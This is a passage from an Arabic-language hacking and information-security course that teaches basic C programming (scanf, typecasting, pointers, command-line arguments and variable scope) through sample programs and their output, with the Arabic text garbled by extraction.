    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [49] #include <stdio.h> #include <string.h> int main() { char message[10]; int count, i; strcpy(message, "Hello, world!"); printf("Repeat how many times? "); scanf("%d", &count); for(i=0; i < count; i++) printf("%3d - %sn", i, message); } ‫قإن‬ ‫ترى‬ ‫كام‬ scanf( ) ‫نا‬‫م‬ ‫ستنتظر‬ decimal value ‫نفسه‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫مع‬ ‫تتعامل‬ ‫لن‬ ‫ولكنها‬ " count ،" ‫ال‬ ‫مع‬ ‫ستتعامل‬ ‫بل‬ “address of count in memory” . ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫منا‬ُ‫ق‬ ‫ذا‬‫وهل‬ declare ‫تغري‬ُ‫للم‬ count ‫ال‬ ‫باستخدام‬ ‫لليها‬ ‫أدطلناه‬ ‫م‬ُ‫ث‬ ‫ق‬‫و‬َ‫ق‬ “dereferencing operator” . ‫ر‬َ‫ع‬ ً‫ا‬‫أيض‬ ‫آطر‬ ‫تغري‬ُ‫م‬ ‫قنا‬ (i) ‫لل‬ ‫تكرار‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫لنا‬ ‫يسمح‬ ‫كي‬ string ‫ا‬ ‫املرات‬ ‫عدد‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫ظهور‬ ‫بعد‬ ‫َحديدذا‬‫ت‬‫ب‬ ‫َقوم‬‫ن‬ َ ‫س‬ ‫لتي‬ ‫الرسالة‬ " Repeat how many times " . :‫النتائج‬ ‫ماييل‬ reader@hacking:~/booksrc $ gcc -o input input.c reader@hacking:~/booksrc $ ./input Repeat how many times? 3 0 - Hello, world! 1 - Hello, world! 2 - Hello, world!
  • 50.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [50] reader@hacking:~/booksrc $ ./input Repeat how many times? 12 0 - Hello, world! 1 - Hello, world! 2 - Hello, world! 3 - Hello, world! 4 - Hello, world! 5 - Hello, world! 6 - Hello, world! 7 - Hello, world! 8 - Hello, world! 9 - Hello, world! 10 - Hello, world! 11 - Hello, world! reader@hacking:~/booksrc $ ‫ِبذا‬ ‫أ‬ ‫ظن‬ ‫أن‬ ‫ه‬ ‫قد‬ ‫استقرت‬ ‫أذذاننا‬ ‫يف‬ ‫ال‬ ‫استخدام‬ ‫أساليب‬ format strings ، ‫سننتقل‬ ‫اآلن‬ ‫ذو‬ ‫جديد‬ ‫ملفهوم‬ ‫ال‬ Typecasting . Typecasting ‫ؤقت‬ُ‫م‬ ‫طريقة‬ ‫عن‬ ‫بارة‬‫ع‬ ‫ذو‬ ‫ة‬ ‫ال‬ ‫لتغيري‬ data type ‫ال‬ ‫م‬َ‫فه‬َ‫ي‬ .‫لياه‬ ‫تعريفنا‬ ‫أثناء‬ ‫نوعه‬ ‫عن‬ ‫النظر‬ ‫بغض‬ ،‫ما‬ ٍ‫تغري‬ُ‫بم‬ ‫اخلاص‬ compiler ‫سيت‬ ُ‫ه‬‫أن‬ ‫ال‬ ‫عىل‬ ً‫ء‬‫نا‬‫ب‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫ع‬َ‫م‬ ‫عامل‬ new type .‫العملية‬ ‫ذه‬َ‫هل‬ ‫ققط‬ ..ُ‫ه‬‫ل‬ ‫عطى‬ُ‫مل‬‫ا‬ :‫ييل‬ ‫كام‬ ‫صيغته‬ ‫تكون‬ (typecast_data_type) var
  • 51.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [51] :‫مثال‬ ‫لنأطذ‬ #include <stdio.h> int main() { int a, b; float c, d; a = 13; b = 5; c = a / b; // Divide using integers. d = (float) a / (float) b; // Divide integers typecast as floats. printf("[integers]t a = %dt b = %dn", a, b); printf("[floats]t c = %ft d = %fn", c, d); } :‫النتائج‬ reader@hacking:~/booksrc $ gcc typecasting.c reader@hacking:~/booksrc $ ./a.out [integers] a = 13 b = 5 [floats] c = 2.000000 d = 2.600000 reader@hacking:~/booksrc $ ‫ال‬ ‫استخدام‬ ‫حالة‬ ‫يف‬ ‫القسمة‬ ‫ناتج‬ ‫قإن‬ ‫ترى‬ ‫كام‬ int ‫سيكون‬ 2 ‫ققط‬ ، ..‫واآلن‬ ‫طلبنا‬ ‫لو‬ ‫ا‬ ‫ل‬ mod ‫تعلم‬ ‫ذل‬ ‫س‬ ‫ماذا‬ ‫يكون‬ ‫الناتج‬ ‫؟‬ . ‫ناك‬ُ‫ذ‬ ‫ال‬ ‫ُص‬ َ ‫خت‬ ‫الحظة‬ُ‫م‬ Pointers ‫ال‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬ ‫أثناء‬ compiler ‫ال‬ ‫تكون‬ ‫أن‬ ‫حيتاج‬ ‫قإنه‬ ..‫معه‬ pointers َ‫د‬‫د‬َ ُ ‫حم‬ ‫ة‬ :ً‫ال‬‫قمث‬ .. “An integer pointer should point to integer data, while a character pointer should only point to character data”. ‫عام‬ ‫وبصورة‬ ‫ة‬ .. ‫يشغل‬ ‫ال‬ integer ‫مس‬ ‫قدرذا‬ ‫احة‬ 4 bytes ، ‫يشغل‬ ‫بينام‬ ‫ال‬ char ‫مساحة‬ 1 byte .
  • 52.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [52] Size of an int is 4 bytes on most architectures, and the size of a char is 1 byte. !‫ر‬ َ ‫آط‬ ‫ثال‬‫م‬ ‫ذ‬ ُ ‫َأط‬‫ن‬‫ل‬ : ‫استخدام‬ ‫ُالحظ‬‫ت‬‫س‬ format parameter ‫وذو‬ ..‫جديد‬ ( %p ) ‫داطل‬ ‫ال‬ printf( ) ‫عرض‬‫ل‬ ‫ال‬ ‫تويات‬ ُ ‫حم‬ pointer ‫ا‬ ‫ذذا‬ ، ‫ل‬ ( %p ) ‫الصيغة‬ ً‫ا‬‫متام‬ ‫شبه‬ُ‫ي‬ (0x%08x) ‫بال‬ ‫النتائج‬ ‫عرض‬ ‫ُريد‬‫ن‬ ‫أننا‬ ‫عنى‬َ‫م‬‫ب‬ Hexadecimal ، ‫ناسب‬ُ‫مل‬‫ا‬ ‫الصيغة‬ ‫وذي‬ ‫ة‬ ‫رض‬َ‫ع‬‫ل‬ ‫ا‬ ‫ل‬ memory address . #include <stdio.h> int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, 3, 4, 5}; char *char_pointer; int *int_pointer; char_pointer = char_array; int_pointer = int_array; for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer. printf("[integer pointer] points to %p, which contains the integer %dn", int_pointer, *int_pointer); int_pointer = int_pointer + 1; } for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer. printf("[char pointer] points to %p, which contains the char '%c'n", char_pointer, *char_pointer); char_pointer = char_pointer + 1; } } ‫ال‬ َ‫ن‬‫م‬ ‫ني‬َ‫ع‬‫َو‬‫ن‬ ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫ققد‬ ‫ترى‬ ‫كام‬ arrays ‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ ،‫نارص‬َ‫ع‬ ‫سة‬ َ ‫َخ‬ ‫عىل‬ ‫حتتويان‬ two pointers ‫لىل‬ ‫شري‬ُ‫ي‬ ‫منهم‬ ‫ُل‬‫ك‬ ‫ال‬ array ‫له‬ ‫ناظرة‬ُ‫مل‬‫ا‬ (char_pointer = char_array;) .
  • 53.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [53] ‫بالدطو‬ ‫قمنا‬ ‫ثم‬ ‫دالة‬ ‫لىل‬ ‫ل‬ for ‫ال‬ ‫لنجعل‬ pointer ‫الرقم‬ ‫من‬ ً‫ا‬‫بدء‬ ‫داطلها‬ ‫يدور‬ 1 ‫الرقم‬ ‫حتى‬ 5 .. :‫أمرين‬ ‫بطباعة‬ ‫سيقوم‬  ‫ال‬ ‫ذو‬ ‫األول‬ " address of that number in memory " ‫ال‬ ‫أن‬ ُ ‫حيث‬ pointer ‫الرقم‬ ‫عنوان‬ ‫لىل‬ ‫شري‬ُ‫ي‬ َ ‫س‬ ‫لل‬ ‫استدعاء‬ ‫جرد‬ُ‫م‬‫ب‬ ‫وذلك‬ !‫امليموري‬ ‫داطل‬ ‫املطلوب‬ pointer :‫كالتايل‬ printf("[integer pointer] points to %pn", int_pointer);  ‫ال‬ ‫ذلك‬ ‫لليه‬ ‫يشري‬ ‫الذي‬ ‫ذاته‬ ‫الرقم‬ ‫ذو‬ ‫والثاين‬ pointer ، ‫ال‬ ‫نستدعي‬ ‫بأن‬ ،‫ببساطة‬ ‫وذلك‬ pointer ‫لكن‬ ً‫ا‬‫أيض‬ ‫قبله‬ ‫سنضع‬ )*( ‫له‬ ‫نقول‬ ‫وكأننا‬ " ‫ال‬ ‫ذذا‬ ‫حيويه‬ ‫ما‬ ‫لنا‬ ‫ج‬‫طر‬َ‫أ‬ block ‫لليه‬ ‫ُشري‬‫ت‬ ‫الذي‬ " .! :‫الصيغة‬ َ‫ي‬‫ذ‬ ‫وذا‬ printf("[integer pointer] points to %dn", *int_pointer); ‫ال‬ ‫يبدأ‬ ‫أن‬ ‫بعد‬ ‫أنه‬ ‫الحظ‬ pointer ‫ال‬ ‫رض‬َ‫ع‬‫ب‬ address ‫لىل‬ ‫ينتقل‬ َ ‫س‬ ،‫تواه‬ ُ ‫حم‬ ‫رض‬َ‫ع‬‫ب‬ ‫م‬ُ‫ث‬ instruction ‫دالة‬ ‫داطل‬ ‫التالية‬ for :‫وذي‬ int_pointer = int_pointer + 1; ‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬ ‫ل‬‫نتق‬َ‫ي‬ َ ‫س‬ ‫نه‬ُ‫أ‬ ‫أي‬ address ‫دا‬ ‫التايل‬ ‫املصفوق‬ ‫ل‬‫ط‬ ‫ة‬ ‫الرقم‬ ‫د‬ َ‫تواج‬َ‫ي‬ ُ ‫حيث‬ ، 2 .. ‫َم‬‫ك‬ ..ً‫ا‬‫لذ‬ byte ..‫ذا؟‬‫فز‬َ‫ق‬‫ب‬ ‫قوم‬َ‫ي‬ َ ‫س‬ ‫ال‬ ‫قيمة‬ ‫زيادة‬ ‫وبعد‬ pointer ‫اد‬‫د‬َ‫ع‬‫ال‬ ‫سيزداد‬ i++ ، ‫الرقم‬ ‫لىل‬ ‫ل‬‫َص‬‫ن‬ ‫أن‬ ‫لىل‬ ‫ملية‬َ‫ع‬‫ال‬ ‫ر‬ ِّ‫َر‬‫ك‬ُ‫ن‬.. 5 ‫ج‬‫طار‬ ‫بعدذا‬ ‫ج‬ ُ‫ر‬‫َخ‬‫ن‬ ‫م‬ُ‫ث‬ . .!‫الدالة‬ ‫ال‬ ‫صفوقة‬َ‫م‬ ‫لىل‬ ‫ننتقل‬ ‫م‬ُ‫ث‬ characters ‫م‬ ‫ر‬ ِّ‫َر‬‫ك‬ُ‫ن‬‫و‬ .‫رشحناه‬ ‫ا‬
  • 54.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [54] :‫الكود‬ ‫نتائج‬ reader@hacking:~/booksrc $ gcc pointer_types.c reader@hacking:~/booksrc $ ./a.out [integer pointer] points to 0xbffff7f0, which contains the integer 1 [integer pointer] points to 0xbffff7f4, which contains the integer 2 [integer pointer] points to 0xbffff7f8, which contains the integer 3 [integer pointer] points to 0xbffff7fc, which contains the integer 4 [integer pointer] points to 0xbffff800, which contains the integer 5 [char pointer] points to 0xbffff810, which contains the char 'a' [char pointer] points to 0xbffff811, which contains the char 'b' [char pointer] points to 0xbffff812, which contains the char 'c' [char pointer] points to 0xbffff813, which contains the char 'd' [char pointer] points to 0xbffff814, which contains the char 'e' reader@hacking:~/booksrc $ ‫ال‬ ‫أن‬ ‫الحظ‬ integer pointer ‫بمقدار‬ ‫يزداد‬ " 4 bytes " . ‫العدد‬ ‫من‬ ‫انتقلنا‬ ً‫ال‬‫قمث‬ 8 ‫احلرف‬ ‫اىل‬ C ‫عىل‬ ‫باملرور‬ ‫وذلك‬ ‫األرقام‬ : 9, A, B, C ، ‫ال‬ ‫بنظام‬ ‫نتعامل‬ ‫ألننا‬ ‫وذذا‬ Hexadecimal ‫ذو‬ ‫تاح‬ُ‫م‬ ‫حرف‬ ‫آطر‬ ‫حيث‬ f ، ‫لىل‬ ‫يعود‬ ‫وبعدذا‬ ‫احلا‬ ‫كام‬ ،‫الصفر‬ ‫من‬ ‫االنتقال‬ ‫يف‬ ‫ل‬ 0xbffff7fc ‫لىل‬ 0xbffff800 . ‫ال‬ ‫يزداد‬ ‫قابل‬ُ‫مل‬‫ا‬ ‫ويف‬ character pointer ‫بمقدار‬ " 1 byte " .‫يظهر‬ ‫كام‬ ‫السابق‬ ‫املثال‬ ‫يف‬ َ‫د‬‫ر‬ُ‫ماو‬ ‫لك‬ ‫ص‬ِّ‫ُلخ‬‫ت‬ ‫األسطر‬ ‫ذذه‬ : A char is 1 byte, an int is (typically) 4 bytes. When you increment a pointer, you increment by the size of the data being pointed to. So, when you increment a char*, you increment by 1 byte, and when you increment an int*, you increment 4 bytes.
  • 55.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [55] Command Line Arguments ‫عىل‬ ‫حتتوي‬ ‫ال‬ ‫التي‬ ‫الربامج‬ ‫حالة‬ ‫يف‬ ‫املدطالت‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫نستخدم‬ GUI ‫حتت‬ ‫ال‬ ‫حيث‬ ‫أي‬ ‫لىل‬ ‫اج‬ Interaction ‫يف‬ ‫ال‬ ‫ل‬َ‫ب‬‫ق‬ ‫من‬ ‫الغالب‬ users ‫بالعمل‬ ‫الربنامج‬ ‫يبدأ‬ ‫أن‬ ‫بعد‬ ، ‫ال‬ ‫تستقبل‬ ‫ال‬ ‫قهي‬ inputs ‫ال‬ ‫دالة‬ ‫عرب‬ scanf( ) ،‫التقليدية‬ ‫ال‬ ‫لضاقة‬ ‫يمكنك‬ ‫ولكن‬ arguments ‫ت‬ ‫بأن‬ ‫الربنامج‬ ‫يستقبلها‬ ‫أن‬ ‫تود‬ ‫التي‬ ،‫الربنامج‬ ‫لسم‬ ‫بعد‬ ‫بكتابتها‬ ‫قوم‬ ‫عترب‬ُ‫ي‬ ُ ‫حيث‬ ‫الربنامج‬ ‫لسم‬ argument [0] ‫ي‬ ‫ثم‬ .‫أنت‬ ُ‫ه‬ُ‫ل‬‫ُدط‬‫ت‬ ‫ما‬ ‫بعدذا‬ ‫أيت‬ ‫بيئة‬ ‫يف‬ ‫ملحوظ‬ ‫بشكل‬ ‫املدطالت‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫نستخدم‬ ‫ال‬ DOS ‫و‬ Linux Terminal . ‫ال‬ ‫بتعريف‬ ‫سنقوم‬ arguments ‫ال‬ ‫يف‬ main( ) ‫أول‬ ‫ألهنا‬ Function ‫ال‬ ‫لليها‬ ‫شري‬ُ‫ي‬ EIP ،‫الربنامج‬ ‫عمل‬ ‫بداية‬ ‫عند‬ ‫بإضاقة‬ ‫سنقوم‬ ..‫املهم‬ integer َ ‫عترب‬ُ‫ي‬ ‫اد‬‫د‬َ‫ع‬‫ك‬ ‫ال‬ ‫عدد‬ ‫َحديد‬‫ت‬‫ل‬ Arguments ‫لدطاهلا‬ ‫راد‬ُ‫مل‬‫ا‬ .. ‫م‬ُ‫ث‬ " pointer to an array of strings ،" ‫ال‬ ‫ذذه‬ array ‫ال‬ ‫ستكون‬ arguments .‫ذاهتا‬ :‫صيغتها‬ ‫ذي‬ ‫ذذه‬ int main(int argc, char *argv[]) :‫مثال‬ ‫ُعطي‬‫ن‬‫ل‬ #include <stdio.h> int main(int arg_count, char *arg_list[]) { int i; printf("There were %d arguments provided:n", arg_count); for(i=0; i < arg_count; i++) printf("argument #%dt - t%sn", i, arg_list[i]); }
  • 56.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [56] ‫ال‬ ‫عدد‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬ ‫مل‬ ‫أننا‬ ‫يبدو‬ arguments ‫طلوب‬َ‫مل‬‫ا‬ ً‫ا‬‫سبق‬ُ‫م‬ ‫لدطاهلا‬ ! ‫ق‬ ، ‫الكو‬ ‫ذذا‬ ‫ّا‬‫ن‬‫م‬ ‫سيستقبل‬ ‫ال‬ ‫من‬ ‫عدد‬ ‫أي‬ ‫د‬ Arguments ‫بإدطاله‬ ‫نقوم‬ ‫دالة‬ ‫باستخدام‬ ‫الشاشة‬ ‫عىل‬ ‫نا‬‫ل‬ ‫بطباعته‬ ‫يقوم‬ ‫م‬ُ‫ث‬ ، printf( ) ‫ال‬ ‫ترتيب‬ ‫تعرض‬ ُ ‫حيث‬ argument ‫ال‬ ‫و‬ ‫ة‬َ‫ل‬ َ ‫دط‬ُ‫مل‬‫ا‬ string .‫ا‬َ‫هل‬ ‫ة‬ َ‫ر‬‫ناظ‬ُ‫مل‬‫ا‬ ‫ماييل‬ :‫النتائج‬ reader@hacking:~/booksrc $ gcc -o commandline commandline.c reader@hacking:~/booksrc $ ./commandline There were 1 arguments provided: argument #0 - ./commandline reader@hacking:~/booksrc $ ./commandline this is a test There were 5 arguments provided: argument #0 - ./commandline argument #1 - this argument #2 - is argument #3 - a argument #4 - test reader@hacking:~/booksrc $ ‫أول‬ َ ‫َرب‬‫ت‬‫ع‬ُ‫ي‬ ‫ذاته‬ ‫حد‬ ‫يف‬ ‫الربنامج‬ ‫اسم‬ ‫أن‬ ‫الحظ‬ Argument .‫باألعىل‬ ‫ر‬َ‫ظه‬َ‫ي‬ ‫َام‬‫ك‬ ‫ك‬ ‫كلامت‬ ‫موعة‬ َ‫جم‬ ‫بإدطال‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ Arguments ‫ي‬‫ل‬ ‫ت‬ .‫طباعتها‬ ‫م‬ Variable Scoping ‫ال‬ ‫أنواع‬ ‫عن‬ ‫اآلن‬ ‫سنتكلم‬ variables ‫لما‬ ‫قهي‬ ..‫تعريفها‬ ‫طريقة‬ ‫يث‬ َ‫ح‬ ‫من‬ “Local” ‫أو‬ “Global” . ‫لل‬ ‫ن‬‫مك‬ُ‫ي‬ functions ‫ِبا‬ ‫اخلاصة‬ ‫املتغريات‬ ‫متتلك‬ ‫أن‬ ، ‫عمل‬ ‫يتم‬ ‫التي‬ ‫املتغريات‬ ‫وذي‬ declare ‫ال‬ ‫داطل‬ ‫هلا‬ function ‫ق‬‫ُطل‬‫ن‬‫و‬ ، ‫عليها‬ “Local variables” .
  • 57.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [57] ‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫لتوضيح‬ ‫مثال‬ ‫سنأطذ‬ variables : #include <stdio.h> void func3() { int i = 11; printf("ttt[in func3] i = %dn", i); } void func2() { int i = 7; printf("tt[in func2] i = %dn", i); func3(); printf("tt[back in func2] i = %dn", i); } void func1() { int i = 5; printf("t[in func1] i = %dn", i); func2(); printf("t[back in func1] i = %dn", i); } int main() { int i = 3; printf("[in main] i = %dn", i); func1(); printf("[back in main] i = %dn", i); } ‫ال‬ ‫عند‬ ‫الربنامج‬ ‫سيبدأ‬ main( ) ‫الرقم‬ ‫بطباعة‬ ‫ليقوم‬ 3 ‫ال‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ، main( ) ‫ل‬َ‫م‬َ‫ع‬َ‫ب‬ call ‫لل‬ func1 ، ‫تنتهي‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ‫نا‬ُ‫ذ‬ ‫ال‬ func1 ‫لل‬ ‫يتسنى‬ ‫كي‬ ‫عملها‬ ‫من‬ main( ) ‫ال‬ ‫تنفيذ‬ ‫استكامل‬ instruction ‫ال‬ ‫قامت‬ ‫أن‬ ‫بعد‬ ‫ولكن‬ ،!‫الثالث‬ func1 ‫قيمة‬ ‫بطباعة‬ i ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫قامت‬ ، call ‫اىل‬ ‫ال‬ func2 ، ‫قيمة‬ ‫ة‬َ‫باع‬‫ط‬‫ب‬ ‫َقوم‬‫ت‬‫ل‬ i ً‫ا‬‫أيض‬ .
  • 58.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [58] ‫أن‬ ‫الحظ‬ func1 ‫ال‬ ‫ستنتظر‬ func2 ‫الثالث‬ ‫السطر‬ ‫تنفيذ‬ ‫باستكامل‬ ‫تقوم‬ ‫كي‬ ‫عملها‬ ‫من‬ ‫تنتهي‬ ‫أن‬ ‫لىل‬ ،‫ِبا‬ ‫يعود‬ ‫م‬َ‫ث‬ ‫ن‬‫وم‬ ‫ال‬ pointer ‫ال‬ ‫لىل‬ main( ) . ً‫ا‬‫أيض‬ ‫قامت‬ ‫لكن‬ func2 ‫بعمل‬ call ‫لل‬ func3 ‫الثاين‬ ‫السطر‬ ‫يف‬ .. ‫قيام‬ ‫بعد‬ func3 ‫بط‬ ‫قيمة‬ ‫باعة‬ i !‫توقفت‬ .. ‫ال‬ ‫قعاد‬ ‫بالرتتيب‬ ‫صعد‬ ‫كام‬ ‫بالرتتيب‬ ‫تسلسل‬ ، ‫ال‬ ‫يعود‬ ‫حيث‬ pointer ‫ال‬ ‫لىل‬ func2 ‫الثالث‬ ‫السطر‬ ‫بتنفيذ‬ ‫لتقوم‬ .. ‫ال‬ ‫لىل‬ ‫ينتقل‬ ‫ثم‬ func1 َ‫ت‬‫ل‬ ‫لدهيا‬ ‫الثالث‬ ‫السطر‬ ‫بطباعة‬ ‫قوم‬ .. ‫اىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫ينتقل‬ ‫ثم‬ ‫ال‬ main( ) ‫ال‬ ‫بتنفيذ‬ ‫النهاية‬ ‫يف‬ ‫تقوم‬‫ل‬ instruction ‫اال‬ ‫ة‬َ‫يم‬‫ق‬ ‫ع‬َ‫ب‬‫َط‬‫ت‬ ُ ‫حيث‬ ‫طرية‬ i ‫وذو‬ ً‫ا‬‫د‬ّ‫د‬ ُ ‫جم‬ 3 ، ‫يب‬ ‫واآلن‬ ‫قهمت‬ ‫أنك‬ ‫دو‬ !‫النتائج‬ ‫ستكون‬ ‫كيف‬ . ‫قيمة‬ ‫اطتالف‬ ‫الحظ‬ i ‫من‬ function ‫ذيئة‬ ‫عىل‬ ‫تعريفها‬ ‫يتم‬ ‫ألنه‬ ‫ألطرى‬ local variable ‫لكل‬ function .!‫حده‬ ‫عىل‬ ُ‫ن‬‫ل‬ ‫نظرة‬ ‫لق‬ ‫النتائج‬ ‫عىل‬ : reader@hacking:~/booksrc $ gcc scope.c reader@hacking:~/booksrc $ ./a.out [in main] i = 3 [in func1] i = 5 [in func2] i = 7 [in func3] i = 11 [back in func2] i = 7 [back in func1] i = 5 [back in main] i = 3 reader@hacking:~/booksrc $
  • 59.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [59] ‫ال‬ ‫منا‬‫ه‬َ‫ق‬ ‫لقد‬ “Local Variables” .. ‫بنا‬ ‫ذيا‬ ‫ل‬ ‫ال‬ ‫لىل‬ ‫ننتقل‬ “Global Variables” .. ‫ال‬ َ ‫َرب‬‫ت‬‫ُع‬‫ت‬ variable ‫نوع‬ ‫من‬ “global” ‫الكود‬ ‫بداية‬ ‫يف‬ ‫تعريفها‬ ‫تم‬ ‫لذا‬ ‫ال‬ ‫مجيع‬ ‫طارج‬ ، functions . ‫تأمل‬ :‫املثال‬ ‫ذذا‬ #include <stdio.h> int j = 42; // j is a global variable. void func3() { int i = 11, j = 999; // Here, j is a local variable of func3( ). printf("ttt[in func3] i = %d, j = %dn", i, j); } void func2() { int i = 7; printf("tt[in func2] i = %d, j = %dn", i, j); printf("tt[in func2] setting j = 1337n"); j = 1337; // Writing to j (this is not local variable!) func3(); printf("tt[back in func2] i = %d, j = %dn", i, j); } void func1() { int i = 5; printf("t[in func1] i = %d, j = %dn", i, j); func2(); printf("t[back in func1] i = %d, j = %dn", i, j); } int main() { int i = 3; printf("[in main] i = %d, j = %dn", i, j); func1(); printf("[back in main] i = %d, j = %dn", i, j); }
  • 60.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [60] ‫بال‬ ‫نبدأ‬ main( ) : ‫ال‬ ‫دالة‬ ‫تقوم‬ printf ‫بطباعة‬ (i=3) ‫و‬ (j=42) ‫ألن‬ j ‫قهي‬ ‫يشء‬ ‫أي‬ ‫قبل‬ ..‫قوق‬ ‫تعريفها‬ ‫تم‬ global variable ‫هلا‬ ‫أن‬ ‫أي‬ ، ‫ال‬ ‫يف‬ ‫ع‬‫موض‬ memory ‫ال‬ ‫جلميع‬ ‫مكن‬ُ‫ي‬ ‫بحيث‬ functions .!‫لليه‬ ‫تصل‬ ‫أن‬ ‫ال‬ ‫بعكس‬ “local variables” ‫يتم‬ ‫حيث‬ ‫ال‬ ‫حمتويات‬ ‫مع‬ ‫ختزينها‬ function ‫اخلاص‬ ‫ة‬ .‫ققط‬ ‫ِبا‬ ..‫هم‬ُ‫مل‬‫ا‬ ‫ال‬ ‫لىل‬ ‫ننتقل‬ func2 ‫تعريف‬ ‫تم‬ ‫حيث‬ (local var i) ‫وطباعة‬ ‫طباعته‬ ‫يتم‬.. ( j = 42 ) ‫الهنا‬ ، global . !‫عجيب‬ ‫يشء‬ ‫ث‬ُ‫حيد‬ ‫م‬ُ‫ث‬ . ‫ال‬ ‫قيمة‬ ‫بتعديل‬ ‫سنقوم‬ ( global var j ،) ‫كتبنا‬ ‫عندما‬ ‫وذلك‬ (j = 1337) ‫يف‬ ‫ُرذا‬‫ك‬‫َذ‬‫ن‬ ‫أن‬ ‫بدون‬ ‫ال‬ ‫بداية‬ func2 ‫بصيغة‬ j” “int ‫ال‬ ‫صيغة‬ ‫قهذه‬.. local vars . ‫قيمة‬ ‫يف‬ ‫تعديل‬ ‫حدث‬ ‫واآلن‬ “j” ‫أصبحت‬ ‫ققد‬ 1337 ‫من‬ ً‫ال‬‫بد‬ 42 . ‫ال‬ ‫اىل‬ ‫ننتقل‬ func3 ‫من‬ ً‫ال‬‫ك‬ ‫تعريف‬ ‫تم‬ ‫حيث‬ ( i ‫و‬ j ) ‫أهنم‬ ‫عىل‬ local vars ، ‫استخدمنا‬ ‫ققد‬ j ‫قيمة‬ ‫وأعطيناذا‬ ً‫ا‬‫داطلي‬ ‫نا‬ُ‫ذ‬ ‫ذي‬ 999 ‫ال‬ ‫سيقوم‬ ‫وبالتايل‬ ، compiler ‫ال‬ ‫باستخدام‬ j ‫ك‬ ‫تعريفها‬ ‫تم‬ ‫التي‬ local ‫ال‬ ‫تلك‬ ‫عن‬ global ‫مع‬ ‫له‬ُ‫م‬‫تعا‬ ‫أثناء‬ func3( ) . . ‫ال‬ ‫لىل‬ ‫ة‬َ‫د‬‫و‬َ‫ع‬‫ال‬ ‫أثناء‬ ‫م‬ُ‫ث‬ func2( ) ‫ت‬َ‫ي‬ َ ‫س‬ ‫ال‬ ‫مع‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫م‬ “j” ‫ال‬ global ‫لىل‬ ‫تها‬َ‫قيم‬ ‫َغيري‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫التي‬ 1337 ‫قبل‬ ‫ال‬ ‫ل‬َ‫م‬َ‫ع‬ call ‫لل‬ func3( ) ‫قيمة‬ ‫ع‬َ‫ب‬‫َط‬‫ن‬َ‫ق‬ ،ً‫ة‬‫بارش‬ُ‫م‬ i ‫و‬ j ً‫ا‬‫دد‬ ُ ‫جم‬ .. ‫ال‬ ‫تنتهي‬ ‫م‬ُ‫ث‬ func2( ) ‫ال‬ ‫عود‬َ‫ي‬‫ل‬ ‫ها‬‫ل‬َ‫م‬َ‫ع‬ ‫من‬ “instruction pointer” ‫ال‬ ‫لىل‬ Caller function ‫وذي‬ func1( ) .. ،ً‫ا‬‫وحتديد‬ ‫لىل‬ ‫العودة‬ ‫ثم‬ ‫تنفيذه‬ ‫يتم‬ ،‫قيها‬ ‫سطر‬ ‫آطر‬ ‫ال‬ main( ) ‫ال‬ ‫ذي‬ ‫ألهنا‬ ،‫أطرى‬ ً‫ة‬‫مر‬ caller ‫لل‬ ‫األسايس‬ func1( ) .
  • 61.
